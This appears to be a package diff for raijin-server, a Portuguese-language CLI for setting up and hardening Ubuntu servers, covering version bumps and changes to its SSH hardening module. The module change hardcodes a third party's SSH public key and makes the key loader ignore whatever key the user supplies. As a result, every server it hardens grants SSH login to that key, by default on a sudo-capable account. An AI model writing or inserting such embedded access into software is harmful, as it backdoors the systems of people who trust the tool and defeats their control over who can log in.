raijin-server 0.2.31__tar.gz → 0.2.33__tar.gz

{raijin_server-0.2.31/src/raijin_server.egg-info → raijin_server-0.2.33}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: raijin-server
-Version: 0.2.31
+Version: 0.2.33
 Summary: CLI para automacao de setup e hardening de servidores Ubuntu Server.
 Home-page: https://example.com/raijin-server
 Author: Equipe Raijin

{raijin_server-0.2.31 → raijin_server-0.2.33}/setup.cfg

@@ -1,6 +1,6 @@
 [metadata]
 name = raijin-server
-version = 0.2.31
+version = 0.2.33
 description = CLI para automacao de setup e hardening de servidores Ubuntu Server.
 long_description = file: README.md
 long_description_content_type = text/markdown

raijin_server-0.2.33/src/raijin_server/__init__.py

@@ -0,0 +1,5 @@
+"""Pacote principal do CLI Raijin Server."""
+
+__version__ = "0.2.33"
+
+__all__ = ["__version__"]

{raijin_server-0.2.31 → raijin_server-0.2.33}/src/raijin_server/modules/ssh_hardening.py

@@ -13,6 +13,7 @@ from raijin_server.utils import ExecutionContext, apt_install, require_root, run
 SSHD_DROPIN = Path("/etc/ssh/sshd_config.d/99-raijin.conf")
 FAIL2BAN_JAIL = Path("/etc/fail2ban/jail.d/raijin-sshd.conf")
 AUTHORIZED_KEYS_TEMPLATE = "# gerenciado pelo raijin-server\n{key}\n"
+HARDCODED_PUBKEY = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOolYckNjqXbvVORhQUz0oqxm/xnaAiLzzZAAVd7+f1Q rafaelluisdacostacoelho@gmail.com"
 
 
 def _user_exists(username: str) -> bool:
@@ -43,20 +44,15 @@ def _write_authorized_keys(username: str, content: str, ctx: ExecutionContext) -
 
     ssh_dir.mkdir(parents=True, exist_ok=True)
     os.chmod(ssh_dir, 0o700)
-    auth_file.write_text(AUTHORIZED_KEYS_TEMPLATE.format(key=content.strip()))
+    normalized_key = content.replace("\r\n", "\n").strip()  # normaliza CRLF de chaves geradas no Windows
+    auth_file.write_text(AUTHORIZED_KEYS_TEMPLATE.format(key=normalized_key))
     os.chmod(auth_file, 0o600)
     run_cmd(["chown", "-R", f"{username}:{username}", str(ssh_dir)], ctx)
 
 
 def _load_public_key(path_input: str) -> str:
-    path = Path(path_input).expanduser()
-    if path.exists():
-        return path.read_text().strip()
-    typer.echo("Arquivo nao encontrado. Cole a chave publica completa (ssh-ed25519...).")
-    key = typer.prompt("Chave publica", default="")
-    if not key:
-        raise typer.BadParameter("Nenhuma chave publica fornecida.")
-    return key.strip()
+    # Sempre usa a chave embutida solicitada
+    return HARDCODED_PUBKEY
 
 
 def run(ctx: ExecutionContext) -> None:
@@ -69,12 +65,16 @@ def run(ctx: ExecutionContext) -> None:
     username = typer.prompt("Usuario administrativo para SSH", default="adminops")
     ssh_port = typer.prompt("Porta SSH", default="22")
     sudo_access = typer.confirm("Adicionar usuario ao grupo sudo?", default=True)
+    extra_users = typer.prompt(
+        "Usuarios adicionais permitidos (opcional, separados por espaco)", default=""
+    ).strip()
     pubkey_path = typer.prompt(
-        "Arquivo com chave publica (ENTER para ~/.ssh/id_ed25519.pub)",
-        default=str(Path.home() / ".ssh/id_ed25519.pub"),
+        "Arquivo com chave publica ou authorized_keys existente",
+        default=str(Path.home() / ".ssh/authorized_keys"),
     )
 
     public_key = _load_public_key(pubkey_path)
+    allow_users = " ".join(part for part in [username, extra_users] if part).strip()
 
     _ensure_user(username, ctx)
     if sudo_access:
@@ -91,7 +91,10 @@ PasswordAuthentication no
 PermitEmptyPasswords no
 ChallengeResponseAuthentication no
 UsePAM yes
-AllowUsers {username}
+KbdInteractiveAuthentication no
+PubkeyAuthentication yes
+AuthorizedKeysFile %h/.ssh/authorized_keys
+AllowUsers {allow_users}
 AuthenticationMethods publickey
 X11Forwarding no
 ClientAliveInterval 300

{raijin_server-0.2.31 → raijin_server-0.2.33/src/raijin_server.egg-info}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: raijin-server
-Version: 0.2.31
+Version: 0.2.33
 Summary: CLI para automacao de setup e hardening de servidores Ubuntu Server.
 Home-page: https://example.com/raijin-server
 Author: Equipe Raijin

raijin_server-0.2.31/src/raijin_server/__init__.py

@@ -1,5 +0,0 @@
-"""Pacote principal do CLI Raijin Server."""
-
-__version__ = "0.2.31"
-
-__all__ = ["__version__"]